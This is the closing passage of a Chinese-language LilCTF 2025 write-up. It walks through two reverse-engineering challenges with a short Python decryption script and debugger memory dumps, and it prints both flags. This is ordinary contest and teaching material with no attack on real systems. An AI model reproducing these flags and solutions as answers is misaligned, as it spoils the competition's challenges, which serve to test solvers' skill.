对比前后的数据,不难发现这边是对高 4 位和低 4 位进行了互换,即:

1
new = ((old << 4) | (old >> 4)) & 0xff

再看到下一个过程:

不难看出来这边是对数据进行执行 not 指令处理(即无符号算术取反,等价于 C 的 ~ 运算符)。

再跳过此过程后,可发现控制台输出了 Encryption done, time to compare!:

看到反编译函数,不难看出来 rax 是下标,rcxrdx 是准备要进行比较的数组:

看到 rcx 为前面所断点的内存地址,可推断出 rdx 对应的 0x21f411 存储的是加密后的密文,通过指令 dump mem encrypted.bin 0x21f411 0x21f411+40 Dump 出密文:

接下来可编写脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
with open("encrypted.bin", "rb") as fp:
encrypted = fp.read()

with open("xor_filled_with_a.bin", "rb") as fp:
xor_filled_with_a = fp.read()

xor_key = bytes(b ^ b"a"[0] for b in xor_filled_with_a)

inverted = bytes(0xff - b for b in encrypted) # 由于此处为无符号取反,而 Python 的 ~ 是有符号的,需要使用 `0xff -` 代替
rotated = bytes(((b >> 4) | (b << 4)) & 0xff for b in inverted)
decrypted = bytes(b ^ k for b, k in zip(rotated, xor_key))

print(decrypted)

运行脚本可获得 Flag:

得到 Flag 为: LILCTF{whaT_iS_dATAF1#w_c@N_iT_63_E4teN}

Qt_Creator

直接 7z x <FILE> 解压出安装包文件(因为这边不是 Windows 环境安装有点麻烦(x)

使用反编译器打开 demo_code_editor.exe 后查看字符串可以看到几个控件名 ,还有个 Ciallo(柚子➗蒸鹅心x(是不是上面说过一次了(?)):

找到 Ciallo 所在的函数,不难看到这边对文本框的字符串取字符串 (QLineEdit::text()) 后进行了比较:

查看反汇编代码不难看出来这两个变量的地址分别存储在 esieax 上:

接下来可以下断点动态调试 Dump 出 Flag。

首先在 0x00410155 处(执行 operator==)下断点:

然后输入 c 继续执行程序,在窗口点下确定即可触发断点:

可以看到 esieax 地址所指向的地址分别为 0x29715a80x68e1bac0:

不难发现 Flag 以 UTF-16 编码存储在了 0x29715a8 上,此时可以扩大 hexdump 范围找到 Flag 实际长度,然后使用 dump mem 指令将 Flag Dump 出来:

打开 flag.txt 即可看到 Flag:

得到 Flag 为: LILCTF{Q7_cre4t0r_1s_very_c0nv3ni3nt}

原文作者:Phrinky

原文链接:https://blog.rkk.moe/2025/08/18/LilCTF-2025-Writeup/

发表日期:August 18th 2025, 7:55:04 am

更新日期:August 18th 2025, 8:33:18 am

版权声明:本文采用 CC BY-NC-SA 4.0 进行许可

CATALOG
  1. 1. Web
    1. 1.1. Ekko_note
    2. 1.2. ez_bottle
    3. 1.3. Your Uns3r
    4. 1.4. 我曾有一份工作
    5. 1.5. php_jail_is_my_cry
  2. 2. Misc
    1. 2.1. 是谁没有阅读参赛须知?
    2. 2.2. v我50(R)MB
    3. 2.3. PNG Master
    4. 2.4. 提前放出附件
  3. 3. Pwn
    1. 3.1. 签到
  4. 4. Reverse
    1. 4.1. ARM ASM
    2. 4.2. 1’M no7 A rO6oT
    3. 4.3. Oh_My_Uboot
    4. 4.4. obfusheader.h
    5. 4.5. Qt_Creator